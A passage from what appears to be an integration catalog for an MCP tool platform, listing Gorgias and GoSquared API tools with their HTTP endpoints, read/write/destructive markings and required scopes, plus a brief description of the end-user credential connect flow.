/api/v1/gorgias/api/customers. Scopes: customers:write. gorgias_delete_api_customers_by_customer_id_custom_fields_by_id (write, destructive) — Delete customer custom field value via DELETE /api/customers/{customer_id}/custom-fields/{id} DELETE /api/v1/gorgias/api/customers/{customer_id}/custom-fields/{id}. Scopes: customers:write. gorgias_delete_api_customers_by_id (write, destructive) — Delete customer via DELETE /api/customers/{id} DELETE /api/v1/gorgias/api/customers/{id}. Scopes: customers:write. gorgias_delete_api_integrations_by_id (write, destructive) — Delete integration via DELETE /api/integrations/{id} DELETE /api/v1/gorgias/api/integrations/{id}. Scopes: integrations:write. gorgias_delete_api_jobs_by_id (write, destructive) — Cancel job via DELETE /api/jobs/{id} DELETE /api/v1/gorgias/api/jobs/{id}. Scopes: jobs:write. gorgias_delete_api_macros_by_id (write, destructive) — Delete macro via DELETE /api/macros/{id} DELETE /api/v1/gorgias/api/macros/{id}. Scopes: macros:write. gorgias_delete_api_phone_voice_call_recordings_by_id (write, destructive) — Delete voice call recording via DELETE /api/phone/voice-call-recordings/{id} DELETE /api/v1/gorgias/api/phone/voice-call-recordings/{id}. Scopes: none. gorgias_delete_api_rules_by_id (write, destructive) — Delete rule via DELETE /api/rules/{id} DELETE /api/v1/gorgias/api/rules/{id}. Scopes: rules:write. gorgias_delete_api_tags (write, destructive) — Delete tags via DELETE /api/tags DELETE /api/v1/gorgias/api/tags. Scopes: tags:write. gorgias_delete_api_tags_by_id (write, destructive) — Delete tag via DELETE /api/tags/{id} DELETE /api/v1/gorgias/api/tags/{id}. Scopes: tags:write. gorgias_delete_api_teams_by_id (write, destructive) — Delete team via DELETE /api/teams/{id} DELETE /api/v1/gorgias/api/teams/{id}. Scopes: users:write. gorgias_delete_api_tickets_by_id (write, destructive) — Delete ticket via DELETE /api/tickets/{id} DELETE /api/v1/gorgias/api/tickets/{id}. Scopes: tickets:write. gorgias_delete_api_tickets_by_ticket_id_custom_fields_by_id (write, destructive) — Delete ticket custom field via DELETE /api/tickets/{ticket_id}/custom-fields/{id} DELETE /api/v1/gorgias/api/tickets/{ticket_id}/custom-fields/{id}. Scopes: tickets:write. gorgias_delete_api_tickets_by_ticket_id_messages_by_id (write, destructive) — Delete ticket message via DELETE /api/tickets/{ticket_id}/messages/{id} DELETE /api/v1/gorgias/api/tickets/{ticket_id}/messages/{id}. Scopes: tickets:write. gorgias_delete_api_tickets_by_ticket_id_tags (write, destructive) — Delete ticket tags via DELETE /api/tickets/{ticket_id}/tags DELETE /api/v1/gorgias/api/tickets/{ticket_id}/tags. Scopes: tickets:write. gorgias_delete_api_users_by_id (write, destructive) — Delete user via DELETE /api/users/{id} DELETE /api/v1/gorgias/api/users/{id}. Scopes: users:write. gorgias_delete_api_views_by_id (write, destructive) — Delete view via DELETE /api/views/{id} DELETE /api/v1/gorgias/api/views/{id}. Scopes: tickets:write. gorgias_delete_api_widgets_by_id (write, destructive) — Delete widget via DELETE /api/widgets/{id} DELETE /api/v1/gorgias/api/widgets/{id}. Scopes: integrations:write. gorgias_get_api_account (read) — Get account via GET /api/account GET /api/v1/gorgias/api/account. Scopes: account:read. gorgias_get_api_account_settings (read) — List account settings via GET /api/account/settings GET /api/v1/gorgias/api/account/settings. Scopes: account:read. gorgias_get_api_by_file_type_download_by_domain_hash_by_resource_name (read) — Download file via GET /api/{file_type}/download/{domain_hash}/{resource_name} GET /api/v1/gorgias/api/{file_type}/download/{domain_hash}/{resource_name}. Scopes: none. gorgias_get_api_custom_fields (read) — List custom fields via GET /api/custom-fields GET /api/v1/gorgias/api/custom-fields. Scopes: custom_fields:read. gorgias_get_api_custom_fields_by_id (read) — Get custom field via GET /api/custom-fields/{id} GET /api/v1/gorgias/api/custom-fields/{id}. Scopes: custom_fields:read. gorgias_get_api_customers (read) — List customers via GET /api/customers GET /api/v1/gorgias/api/customers. Scopes: customers:read. gorgias_get_api_customers_by_customer_id_custom_fields (read) — List customer custom fields values via GET /api/customers/{customer_id}/custom-fields GET /api/v1/gorgias/api/customers/{customer_id}/custom-fields. Scopes: customers:read. gorgias_get_api_customers_by_id (read) — Get customer via GET /api/customers/{id} GET /api/v1/gorgias/api/customers/{id}. Scopes: customers:read. gorgias_get_api_events (read) — List events via GET /api/events GET /api/v1/gorgias/api/events. Scopes: events:read. gorgias_get_api_events_by_id (read) — Get event via GET /api/events/{id} GET /api/v1/gorgias/api/events/{id}. Scopes: events:read. gorgias_get_api_integrations (read) — List integrations via GET /api/integrations GET /api/v1/gorgias/api/integrations. Scopes: integrations:read. gorgias_get_api_integrations_by_id (read) — Get integration via GET /api/integrations/{id} GET /api/v1/gorgias/api/integrations/{id}. Scopes: integrations:read. gorgias_get_api_jobs (read) — List jobs via GET /api/jobs GET /api/v1/gorgias/api/jobs. Scopes: jobs:read. gorgias_get_api_jobs_by_id (read) — Get job via GET /api/jobs/{id} GET /api/v1/gorgias/api/jobs/{id}. Scopes: jobs:read. gorgias_get_api_macros (read) — List macros via GET /api/macros GET /api/v1/gorgias/api/macros. Scopes: macros:read. gorgias_get_api_macros_by_id (read) — Get macro via GET /api/macros/{id} GET /api/v1/gorgias/api/macros/{id}. Scopes: macros:read. gorgias_get_api_messages (read) — List messages via GET /api/messages GET /api/v1/gorgias/api/messages. Scopes: tickets:read. gorgias_get_api_metric_cards (read) — Search metric cards via GET /api/metric-cards GET /api/v1/gorgias/api/metric-cards. Scopes: statistics:read. gorgias_get_api_metric_cards_by_slug (read) — Get metric card via GET /api/metric-cards/{slug} GET /api/v1/gorgias/api/metric-cards/{slug}. Scopes: statistics:read. gorgias_get_api_phone_voice_call_events (read) — List voice call events via GET /api/phone/voice-call-events GET /api/v1/gorgias/api/phone/voice-call-events. Scopes: none. gorgias_get_api_phone_voice_call_events_by_id (read) — Get voice call event via GET /api/phone/voice-call-events/{id} GET /api/v1/gorgias/api/phone/voice-call-events/{id}. Scopes: none. gorgias_get_api_phone_voice_call_recordings (read) — List voice call recordings via GET /api/phone/voice-call-recordings GET /api/v1/gorgias/api/phone/voice-call-recordings. Scopes: none. gorgias_get_api_phone_voice_call_recordings_by_id (read) — Get voice call recording via GET /api/phone/voice-call-recordings/{id} GET /api/v1/gorgias/api/phone/voice-call-recordings/{id}. Scopes: none. gorgias_get_api_phone_voice_calls (read) — List voice calls via GET /api/phone/voice-calls GET /api/v1/gorgias/api/phone/voice-calls. Scopes: none. gorgias_get_api_phone_voice_calls_by_id (read) — Get voice call via GET /api/phone/voice-calls/{id} GET /api/v1/gorgias/api/phone/voice-calls/{id}. Scopes: none. gorgias_get_api_rules (read) — List rules via GET /api/rules GET /api/v1/gorgias/api/rules. Scopes: rules:read. gorgias_get_api_rules_by_id (read) — Get rule via GET /api/rules/{id} GET /api/v1/gorgias/api/rules/{id}. Scopes: rules:read. gorgias_get_api_satisfaction_surveys (read) — List satisfaction surveys via GET /api/satisfaction-surveys GET /api/v1/gorgias/api/satisfaction-surveys. Scopes: satisfaction_survey:read. gorgias_get_api_satisfaction_surveys_by_id (read) — Get satisfaction survey via GET /api/satisfaction-surveys/{id} GET /api/v1/gorgias/api/satisfaction-surveys/{id}. Scopes: satisfaction_survey:read. gorgias_get_api_tags (read) — List tags via GET /api/tags GET /api/v1/gorgias/api/tags. Scopes: tags:read. gorgias_get_api_tags_by_id (read) — Get tag via GET /api/tags/{id} GET /api/v1/gorgias/api/tags/{id}. Scopes: tags:read. gorgias_get_api_teams (read) — List teams via GET /api/teams GET /api/v1/gorgias/api/teams. Scopes: users:read. gorgias_get_api_teams_by_id (read) — Get team via GET /api/teams/{id} GET /api/v1/gorgias/api/teams/{id}. Scopes: users:read. gorgias_get_api_tickets (read) — List tickets via GET /api/tickets GET /api/v1/gorgias/api/tickets. Scopes: tickets:read. gorgias_get_api_tickets_by_id (read) — Get ticket via GET /api/tickets/{id} GET /api/v1/gorgias/api/tickets/{id}. Scopes: tickets:read. gorgias_get_api_tickets_by_ticket_id_custom_fields (read) — List ticket custom fields via GET /api/tickets/{ticket_id}/custom-fields GET /api/v1/gorgias/api/tickets/{ticket_id}/custom-fields. Scopes: tickets:read. gorgias_get_api_tickets_by_ticket_id_messages (read) — List ticket messages via GET /api/tickets/{ticket_id}/messages GET /api/v1/gorgias/api/tickets/{ticket_id}/messages. Scopes: tickets:read. gorgias_get_api_tickets_by_ticket_id_messages_by_id (read) — Get ticket message via GET /api/tickets/{ticket_id}/messages/{id} GET /api/v1/gorgias/api/tickets/{ticket_id}/messages/{id}. Scopes: tickets:read. gorgias_get_api_tickets_by_ticket_id_tags (read) — List ticket tags via GET /api/tickets/{ticket_id}/tags GET /api/v1/gorgias/api/tickets/{ticket_id}/tags. Scopes: tickets:read. gorgias_get_api_users (read) — List users via GET /api/users GET /api/v1/gorgias/api/users. Scopes: users:read. gorgias_get_api_users_by_id (read) — Get user via GET /api/users/{id} GET /api/v1/gorgias/api/users/{id}. Scopes: users:read. gorgias_get_api_views (read) — List views via GET /api/views GET /api/v1/gorgias/api/views. Scopes: tickets:read. gorgias_get_api_views_by_id (read) — Get view via GET /api/views/{id} GET /api/v1/gorgias/api/views/{id}. Scopes: tickets:read. gorgias_get_api_views_by_view_id_items (read) — List view items via GET /api/views/{view_id}/items GET /api/v1/gorgias/api/views/{view_id}/items. Scopes: tickets:read. gorgias_get_api_widgets (read) — List widgets via GET /api/widgets GET /api/v1/gorgias/api/widgets. Scopes: integrations:read. gorgias_get_api_widgets_by_id (read) — Get widget via GET /api/widgets/{id} GET /api/v1/gorgias/api/widgets/{id}. Scopes: integrations:read. gorgias_post_api_account_settings (write) — Create account setting via POST /api/account/settings POST /api/v1/gorgias/api/account/settings. Scopes: account:write. gorgias_post_api_custom_fields (write) — Create custom field via POST /api/custom-fields POST /api/v1/gorgias/api/custom-fields. Scopes: custom_fields:write. gorgias_post_api_customers (write) — Create customer via POST /api/customers POST /api/v1/gorgias/api/customers. Scopes: customers:write. gorgias_post_api_integrations (write) — Create integration via POST /api/integrations POST /api/v1/gorgias/api/integrations. Scopes: integrations:write. gorgias_post_api_jobs (write) — Create job via POST /api/jobs POST /api/v1/gorgias/api/jobs. Scopes: jobs:write. gorgias_post_api_macros (write) — Create macro via POST /api/macros POST /api/v1/gorgias/api/macros. Scopes: macros:write. gorgias_post_api_metric_cards_by_slug_feedback (write) — Create metric card feedback via POST /api/metric-cards/{slug}/feedback POST /api/v1/gorgias/api/metric-cards/{slug}/feedback. Scopes: statistics:read. gorgias_post_api_reporting_stats (write) — Get statistic via POST /api/reporting/stats POST /api/v1/gorgias/api/reporting/stats. Scopes: statistics:read. gorgias_post_api_rules (write) — Create rule via POST /api/rules POST /api/v1/gorgias/api/rules. Scopes: rules:write. gorgias_post_api_rules_priorities (write) — Update rules priorities via POST /api/rules/priorities POST /api/v1/gorgias/api/rules/priorities. Scopes: rules:write. gorgias_post_api_satisfaction_surveys (write) — Create satisfaction survey via POST /api/satisfaction-surveys POST /api/v1/gorgias/api/satisfaction-surveys. Scopes: satisfaction_survey:write. gorgias_post_api_search (write) — Search via POST /api/search POST /api/v1/gorgias/api/search. Scopes: none. gorgias_post_api_stats_by_name (write) — Get legacy statistic via POST /api/stats/{name} POST /api/v1/gorgias/api/stats/{name}. Scopes: statistics:read. gorgias_post_api_stats_by_name_download (write) — Download legacy statistic via POST /api/stats/{name}/download POST /api/v1/gorgias/api/stats/{name}/download. Scopes: statistics:read. gorgias_post_api_tags (write) — Create tag via POST /api/tags POST /api/v1/gorgias/api/tags. Scopes: tags:write. gorgias_post_api_teams (write) — Create team via POST /api/teams POST /api/v1/gorgias/api/teams. Scopes: users:write. gorgias_post_api_tickets (write) — Create ticket via POST /api/tickets POST /api/v1/gorgias/api/tickets. Scopes: tickets:write. gorgias_post_api_tickets_by_ticket_id_messages (write) — Create ticket message via POST /api/tickets/{ticket_id}/messages POST /api/v1/gorgias/api/tickets/{ticket_id}/messages. Scopes: tickets:write. gorgias_post_api_tickets_by_ticket_id_tags (write) — Create ticket tags via POST /api/tickets/{ticket_id}/tags POST /api/v1/gorgias/api/tickets/{ticket_id}/tags. Scopes: tickets:write. gorgias_post_api_users (write) — Create user via POST /api/users POST /api/v1/gorgias/api/users. Scopes: users:write. gorgias_post_api_views (write) — Create view via POST /api/views POST /api/v1/gorgias/api/views. Scopes: tickets:write. gorgias_post_api_widgets (write) — Create widget via POST /api/widgets POST /api/v1/gorgias/api/widgets. Scopes: integrations:write. gorgias_put_api_account_settings_by_id (write) — Update account setting via PUT /api/account/settings/{id} PUT /api/v1/gorgias/api/account/settings/{id}. Scopes: account:write. gorgias_put_api_custom_fields (write) — Update custom fields via PUT /api/custom-fields PUT /api/v1/gorgias/api/custom-fields. Scopes: custom_fields:write. gorgias_put_api_custom_fields_by_id (write) — Update custom field via PUT /api/custom-fields/{id} PUT /api/v1/gorgias/api/custom-fields/{id}. Scopes: custom_fields:write. gorgias_put_api_customers_by_customer_id_custom_fields (write) — Update customer custom field values via PUT /api/customers/{customer_id}/custom-fields PUT /api/v1/gorgias/api/customers/{customer_id}/custom-fields. Scopes: customers:write. gorgias_put_api_customers_by_customer_id_custom_fields_by_id (write) — Update customer custom field value via PUT /api/customers/{customer_id}/custom-fields/{id} PUT /api/v1/gorgias/api/customers/{customer_id}/custom-fields/{id}. Scopes: customers:write. gorgias_put_api_customers_by_customer_id_data (write) — Update customer data via PUT /api/customers/{customer_id}/data PUT /api/v1/gorgias/api/customers/{customer_id}/data. Scopes: customers:write. gorgias_put_api_customers_by_id (write) — Update customer via PUT /api/customers/{id} PUT /api/v1/gorgias/api/customers/{id}. Scopes: customers:write. gorgias_put_api_customers_merge (write) — Merge customers via PUT /api/customers/merge PUT /api/v1/gorgias/api/customers/merge. Scopes: customers:write. gorgias_put_api_integrations_by_id (write) — Update integration via PUT /api/integrations/{id} PUT /api/v1/gorgias/api/integrations/{id}. Scopes: integrations:write. gorgias_put_api_jobs_by_id (write) — Update job via PUT /api/jobs/{id} PUT /api/v1/gorgias/api/jobs/{id}. Scopes: jobs:write. gorgias_put_api_macros_archive (write) — Bulk archive macros via PUT /api/macros/archive PUT /api/v1/gorgias/api/macros/archive. Scopes: macros:write. gorgias_put_api_macros_by_id (write) — Update macro via PUT /api/macros/{id} PUT /api/v1/gorgias/api/macros/{id}. Scopes: macros:write. gorgias_put_api_macros_unarchive (write) — Bulk unarchive macros via PUT /api/macros/unarchive PUT /api/v1/gorgias/api/macros/unarchive. Scopes: macros:write. gorgias_put_api_rules_by_id (write) — Update rule via PUT /api/rules/{id} PUT /api/v1/gorgias/api/rules/{id}. Scopes: rules:write. gorgias_put_api_satisfaction_surveys_by_id (write) — Update satisfaction survey via PUT /api/satisfaction-surveys/{id} PUT /api/v1/gorgias/api/satisfaction-surveys/{id}. Scopes: satisfaction_survey:write. gorgias_put_api_tags_by_destination_tag_id_merge (write) — Merge tags via PUT /api/tags/{destination_tag_id}/merge PUT /api/v1/gorgias/api/tags/{destination_tag_id}/merge. Scopes: tags:write. gorgias_put_api_tags_by_id (write) — Update tag via PUT /api/tags/{id} PUT /api/v1/gorgias/api/tags/{id}. Scopes: tags:write. gorgias_put_api_teams_by_id (write) — Update team via PUT /api/teams/{id} PUT /api/v1/gorgias/api/teams/{id}. Scopes: users:write. gorgias_put_api_tickets_by_id (write) — Update ticket via PUT /api/tickets/{id} PUT /api/v1/gorgias/api/tickets/{id}. Scopes: tickets:write. gorgias_put_api_tickets_by_ticket_id_custom_fields (write) — Update ticket custom fields via PUT /api/tickets/{ticket_id}/custom-fields PUT /api/v1/gorgias/api/tickets/{ticket_id}/custom-fields. Scopes: tickets:write. gorgias_put_api_tickets_by_ticket_id_custom_fields_by_id (write) — Update ticket custom field via PUT /api/tickets/{ticket_id}/custom-fields/{id} PUT /api/v1/gorgias/api/tickets/{ticket_id}/custom-fields/{id}. Scopes: tickets:write. gorgias_put_api_tickets_by_ticket_id_messages_by_id (write) — Update ticket message via PUT /api/tickets/{ticket_id}/messages/{id} PUT /api/v1/gorgias/api/tickets/{ticket_id}/messages/{id}. Scopes: tickets:write. gorgias_put_api_tickets_by_ticket_id_tags (write) — Update ticket tags via PUT /api/tickets/{ticket_id}/tags PUT /api/v1/gorgias/api/tickets/{ticket_id}/tags. Scopes: tickets:write. gorgias_put_api_users_by_id (write) — Update user via PUT /api/users/{id} PUT /api/v1/gorgias/api/users/{id}. Scopes: users:write. gorgias_put_api_views_by_id (write) — Update view via PUT /api/views/{id} PUT /api/v1/gorgias/api/views/{id}. Scopes: tickets:write. gorgias_put_api_views_by_view_id_items (write) — Update view items via PUT /api/views/{view_id}/items PUT /api/v1/gorgias/api/views/{view_id}/items. Scopes: tickets:write. gorgias_put_api_widgets_by_id (write) — Update widget via PUT /api/widgets/{id} PUT /api/v1/gorgias/api/widgets/{id}. Scopes: integrations:write. ================================================================================ ## GoSquared URL: https://www.agenticfabriq.com/integrations/gosquared Section: Integrated Tools GoSquared — 92 MCP tools Provider key: gosquared. Scopes: read_account, read_chat, read_now, read_people, read_trends, write_account, write_chat, write_people, write_tracking. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. gosquared_delete_account_v1_blocked_ips (write, destructive) — Unblock IP addresses -- Removes one or more IP addresses from the blocked list via DELETE /account/v1/blocked/ips DELETE /api/v1/gosquared/account/v1/blocked/ips. Scopes: write_account. gosquared_delete_account_v1_blocked_visitors_by_visitorid (write, destructive) — Unblock visitors -- Removes a visitor from the blocked list for a given project. via DELETE /account/v1/blocked/visitors/{visitorID} DELETE /api/v1/gosquared/account/v1/blocked/visitors/{visitorID}. Scopes: write_account. gosquared_delete_account_v1_sharedusers (write, destructive) — Remove a team member -- Remove a user from a specific project so that they no longer have to access it. Note: Only API keys generated by the project owner have permission to be used with this endpoint. via DELETE /account/v1/sharedUsers DELETE /api/v1/gosquared/account/v1/sharedUsers. Scopes: write_account. gosquared_delete_account_v1_taggedvisitors_by_visitorid (write, destructive) — Remove a tagged visitor -- Removes the given visitorID's tag. via DELETE /account/v1/taggedVisitors/{visitorID} DELETE /api/v1/gosquared/account/v1/taggedVisitors/{visitorID}. Scopes: write_account. gosquared_delete_account_v1_webhooks_by_webhookid (write, destructive) — Remove a webhook -- Deletes a webhook. via DELETE /account/v1/webhooks/{webhookID} DELETE /api/v1/gosquared/account/v1/webhooks/{webhookID}. Scopes: write_account. gosquared_delete_account_v1_webhooks_by_webhookid_triggers_by_triggerid (write, destructive) — Remove a trigger from a webhook -- Remove a trigger from a webhook. via DELETE /account/v1/webhooks/{webhookID}/triggers/{triggerID} DELETE /api/v1/gosquared/account/v1/webhooks/{webhookID}/triggers/{triggerID}. Scopes: write_account. gosquared_delete_people_v1_people_by_personid (write, destructive) — Delete a person -- Delete a single profile from People CRM by its person_id . This will delete the profile and all its associated data. If this person is subsequently tracked again in the future, a new blank profile will be created for them, unless you use the blacklist parameter. This endpoint requires an API key with Write People permission. Note : This action is irreversible – deleted data cannot be recovered. via DELETE /people/v1/people/{personID} DELETE /api/v1/gosquared/people/v1/people/{personID}. Scopes: write_people. gosquared_get_account_v1_blocked (read) — Retrieve blocked items -- Retrieves a list of blocked IP addresses, bots and visitors. via GET /account/v1/blocked GET /api/v1/gosquared/account/v1/blocked. Scopes: read_account. gosquared_get_account_v1_blocked_bots (read) — Retrieve blocked bots setting -- Returns whether automatic bot blocking is toggled 'on' for a given project. via GET /account/v1/blocked/bots GET /api/v1/gosquared/account/v1/blocked/bots. Scopes: read_account. gosquared_get_account_v1_blocked_ips (read) — Retrieve blocked IPs -- Retrieves a list of blocked IP addresses. via GET /account/v1/blocked/ips GET /api/v1/gosquared/account/v1/blocked/ips. Scopes: read_account. gosquared_get_account_v1_blocked_visitors (read) — Retrieve blocked visitors -- Retrieves a list of visitor IDs that have been blocked for a given project. Most commonly a visitor will have been blocked from hitting the 'Ignore' button from within the Visitor widget on your Now dashboard. via GET /account/v1/blocked/visitors GET /api/v1/gosquared/account/v1/blocked/visitors. Scopes: read_account. gosquared_get_account_v1_sharedusers (read) — Retrieve team members (shared users) -- Retrieves a list of all the team members that have access to a given project. It also returns the state of each member. The state can be: 'owner' (they are the project owner), 'active' (they are a shared user) or 'pending' (they have been invited but haven't finished signing up to GoSquared). Note: Only API keys generated by the project owner have permission to be used with this endpoint. via GET /account/v1/sharedUsers GET /api/v1/gosquared/account/v1/sharedUsers. Scopes: read_account. gosquared_get_account_v1_sites (read) — Retrieve sites -- Retrieves a list of all the projects/sites that this account either owns or has been granted shared access to. via GET /account/v1/sites GET /api/v1/gosquared/account/v1/sites. Scopes: read_account. gosquared_get_account_v1_sites_by_site_token (read) — Retrieve a site -- Retrieves the details for site/project by its site_token via GET /account/v1/sites/{site_token} GET /api/v1/gosquared/account/v1/sites/{site_token}. Scopes: read_account. gosquared_get_account_v1_sites_usage (read) — Retrieve all sites and pageview count via GET /account/v1/sites/usage GET /api/v1/gosquared/account/v1/sites/usage. Scopes: read_account. gosquared_get_account_v1_taggedvisitors (read) — Retrieve tagged visitors -- Retrieves the list of tagged visitors. via GET /account/v1/taggedVisitors GET /api/v1/gosquared/account/v1/taggedVisitors. Scopes: read_account. gosquared_get_account_v1_triggertypes (read) — Retrieve the types of triggers -- Retrieve the types of triggers. via GET /account/v1/triggerTypes GET /api/v1/gosquared/account/v1/triggerTypes. Scopes: read_account. gosquared_get_account_v1_triggertypes_by_triggertype (read) — Retrieve a type of trigger -- Retrieve a type of trigger. via GET /account/v1/triggerTypes/{triggerType} GET /api/v1/gosquared/account/v1/triggerTypes/{triggerType}. Scopes: read_account. gosquared_get_account_v1_webhooks (read) — Retrieve all webhooks -- Retrieves a list of webhooks. via GET /account/v1/webhooks GET /api/v1/gosquared/account/v1/webhooks. Scopes: read_account. gosquared_get_account_v1_webhooks_by_webhookid (read) — Retrieve a webhook -- Retrieves a webhook. via GET /account/v1/webhooks/{webhookID} GET /api/v1/gosquared/account/v1/webhooks/{webhookID}. Scopes: read_account. gosquared_get_account_v1_webhooks_by_webhookid_triggers (read) — Retrieve all triggers for a webhook -- Retrieve all triggers for a webhook. via GET /account/v1/webhooks/{webhookID}/triggers GET /api/v1/gosquared/account/v1/webhooks/{webhookID}/triggers. Scopes: read_account. gosquared_get_account_v1_webhooks_by_webhookid_triggers_by_triggerid (read) — Retrieve an trigger for a webhook -- Retrieve an trigger for a webhook. via GET /account/v1/webhooks/{webhookID}/triggers/{triggerID} GET /api/v1/gosquared/account/v1/webhooks/{webhookID}/triggers/{triggerID}. Scopes: read_account. gosquared_get_auth_v1_tokeninfo (read) — Token Info -- Fetches the information for the given authorisation strategy. Returns a scopes property which is an array of scopes such as read_account indicating the access level that this token has. via GET /auth/v1/tokeninfo GET /api/v1/gosquared/auth/v1/tokeninfo. Scopes: none. gosquared_get_chat_v1_archivedchats (read) — Retrieve a list of archived chats -- Retrieve a list of archived chat conversations. via GET /chat/v1/archivedChats GET /api/v1/gosquared/chat/v1/archivedChats. Scopes: read_chat. gosquared_get_chat_v1_chats (read) — Retrieve a list of active chats -- Retrieve a list of active chat conversations. via GET /chat/v1/chats GET /api/v1/gosquared/chat/v1/chats. Scopes: read_chat. gosquared_get_chat_v1_chats_by_chatid (read) — Retrieve a chat -- Retrieve a chat conversation by ID. via GET /chat/v1/chats/{chatID} GET /api/v1/gosquared/chat/v1/chats/{chatID}. Scopes: read_chat. gosquared_get_chat_v1_chats_by_chatid_feed (read) — Retrieve a list of messages and events from a conversation -- Retrieve a list of messages and events from a conversation. via GET /chat/v1/chats/{chatID}/feed GET /api/v1/gosquared/chat/v1/chats/{chatID}/feed. Scopes: read_chat. gosquared_get_chat_v1_chats_by_chatid_messages (read) — Retrieve a list of messages -- Retrieve a list of messages from a conversation. via GET /chat/v1/chats/{chatID}/messages GET /api/v1/gosquared/chat/v1/chats/{chatID}/messages. Scopes: read_chat. gosquared_get_chat_v1_chats_by_chatid_messages_by_messageid (read) — Retrieve a message -- Retrieve a specific message by ID. via GET /chat/v1/chats/{chatID}/messages/{messageID} GET /api/v1/gosquared/chat/v1/chats/{chatID}/messages/{messageID}. Scopes: read_chat. gosquared_get_now_v3_browsers (read) — Retrieve list of browsers -- Retrieves a list of the different browsers that currently online visitors are using, sorted by the number of visitors per browser. via GET /now/v3/browsers GET /api/v1/gosquared/now/v3/browsers. Scopes: read_now. gosquared_get_now_v3_campaigns (read) — Retrieve realtime campaigns -- Retrieves a list of currently running campaigns, displaying how many visitors online right now have been referred by campaigns. via GET /now/v3/campaigns GET /api/v1/gosquared/now/v3/campaigns. Scopes: read_now. gosquared_get_now_v3_concurrents (read) — Retrieve concurrent visitors -- Retrieves a summary of all concurrently online visitors. via GET /now/v3/concurrents GET /api/v1/gosquared/now/v3/concurrents. Scopes: read_now. gosquared_get_now_v3_countries (read) — Retrieve list of countries -- Retrieves a list of the different countries that currently online visitors are from, sorted by the number of visitors per country. via GET /now/v3/countries GET /api/v1/gosquared/now/v3/countries. Scopes: read_now. gosquared_get_now_v3_engagement (read) — Retrieve realtime engagement -- Retrieves engagement information of currently online users. Time on site The timeOnSite object contains breakdown and average time on site information. The breakdown is an object where each key is the time in seconds a visitor has remained on the site, and the value is the number of visitors in that group. The average key contains a float for the average number of seconds all visitors currently online have remained on the site. Visit Depth The visitDepth object contains breakdown and average visit depth information. Visit depth is the total number of pages visited by visitors on a website. Much like the timeOnSite object, it contains a breakdown object where each key is the total visit depth, and the value is the number of visitors in that group. The average key contains the average visit depth across all visitors currently online on the website. via GET /now/v3/engagement GET /api/v1/gosquared/now/v3/engagement. Scopes: read_now. gosquared_get_now_v3_geo (read) — Retrieve geographic user information -- Retrieves a list of co-ordinates for currently online users. via GET /now/v3/geo GET /api/v1/gosquared/now/v3/geo. Scopes: read_now. gosquared_get_now_v3_languages (read) — Retrieve list of languages -- Retrieves a list of the different languages for currently online visitors, sorted by the number of visitors per language. via GET /now/v3/languages GET /api/v1/gosquared/now/v3/languages. Scopes: read_now. gosquared_get_now_v3_notifications (read) — Retrieve notifications -- Retrieves a list of notifications stored in GoSquared. Notifications are displayed on the Now and Trends dashboards as markers along the timeline and as part of the notifications widget. These Notifications can include: Traffic Alerts RSS items from feeds Manually added Milestones via GET /now/v3/notifications GET /api/v1/gosquared/now/v3/notifications. Scopes: read_now. gosquared_get_now_v3_organisations (read) — Retrieve list of organisations -- Retrieves a list of the different internet organisations that currently online visitors are using, sorted by the number of visitors per organisation. via GET /now/v3/organisations GET /api/v1/gosquared/now/v3/organisations. Scopes: read_now. gosquared_get_now_v3_overview (read) — Retrieve a realtime overview -- Retrieves a summary of data for the site, including people online, the number of active pages and historical visitor min, max and averages. via GET /now/v3/overview GET /api/v1/gosquared/now/v3/overview. Scopes: read_now. gosquared_get_now_v3_pages (read) — Retrieve pages with online visitors -- Retrieves a list of pages with active visitors, ordered by the number of visitors on the page. If a href parameter is given then information for that page will be returned. via GET /now/v3/pages GET /api/v1/gosquared/now/v3/pages. Scopes: read_now. gosquared_get_now_v3_platforms (read) — Retrieve list of platforms -- Retrieves a list of the different platforms that currently online visitors are using, sorted by the number of visitors per platform. via GET /now/v3/platforms GET /api/v1/gosquared/now/v3/platforms. Scopes: read_now. gosquared_get_now_v3_sources (read) — Retrieve sources -- Retrieves a list of sources that have referred visitors to the site, grouped by 'direct', 'organic', 'site' and 'social'. 'site', 'organic' and 'social' can be grouped by the engine/domain too. via GET /now/v3/sources GET /api/v1/gosquared/now/v3/sources. Scopes: read_now. gosquared_get_now_v3_sources_by_sections (read) — Retrieve group of sources -- Retrieves a specified group of sources such as 'site'. via GET /now/v3/sources/{sections} GET /api/v1/gosquared/now/v3/sources/{sections}. Scopes: read_now. gosquared_get_now_v3_time (read) — Retrieve the time -- Retrieves the time according to the GoSquared infrastructure. via GET /now/v3/time GET /api/v1/gosquared/now/v3/time. Scopes: read_now. gosquared_get_now_v3_timeseries (read) — Retrieve a Time Series -- Retrieves a list of data points containing the number of visitors over time as the metric. This can be used to plot visualisations of visitors over time as shown in the Now dashboard. It could also be used to retrieve information for further analysis elsewhere. via GET /now/v3/timeSeries GET /api/v1/gosquared/now/v3/timeSeries. Scopes: read_now. gosquared_get_now_v3_visitors (read) — Retrieve online visitors -- Retrieves a list of online visitors with information relevant to them and the pages that they are visiting. via GET /now/v3/visitors GET /api/v1/gosquared/now/v3/visitors. Scopes: read_now. gosquared_get_now_v3_visitors_by_visitorid (read) — Retrieve a visitor -- Retrieves information for a specific visitor via GET /now/v3/visitors/{visitorID} GET /api/v1/gosquared/now/v3/visitors/{visitorID}. Scopes: read_now. gosquared_get_people_v1_devices (read) — Retrieve a list of all devices -- Retrieves a paginated list of every device that has ever been tracked in People CRM. If you only need a list of devices used by a specific person, use this endpoint instead. via GET /people/v1/devices GET /api/v1/gosquared/people/v1/devices. Scopes: read_people. gosquared_get_people_v1_devices_by_deviceid (read) — Retrieve a device -- Retrieves the details (platform, browser, user agent, screen size, ISP, location, total visits etc) of a single device using the deviceID . Note: If you just want to know the details of the most recent device somebody used, you can first retrieve the person . You'll then find their most recently used deviceID in the last object under the device field. via GET /people/v1/devices/{deviceID} GET /api/v1/gosquared/people/v1/devices/{deviceID}. Scopes: read_people. gosquared_get_people_v1_eventtypes (read) — Retrieve a list of event types -- This method is useful for understanding what events have been tracked in People CRM. It returns a list of events ordered by the count of how many times it has been tracked. To see the list of events for an individual Person please see Retrieve a feed of events for a Person via GET /people/v1/eventTypes GET 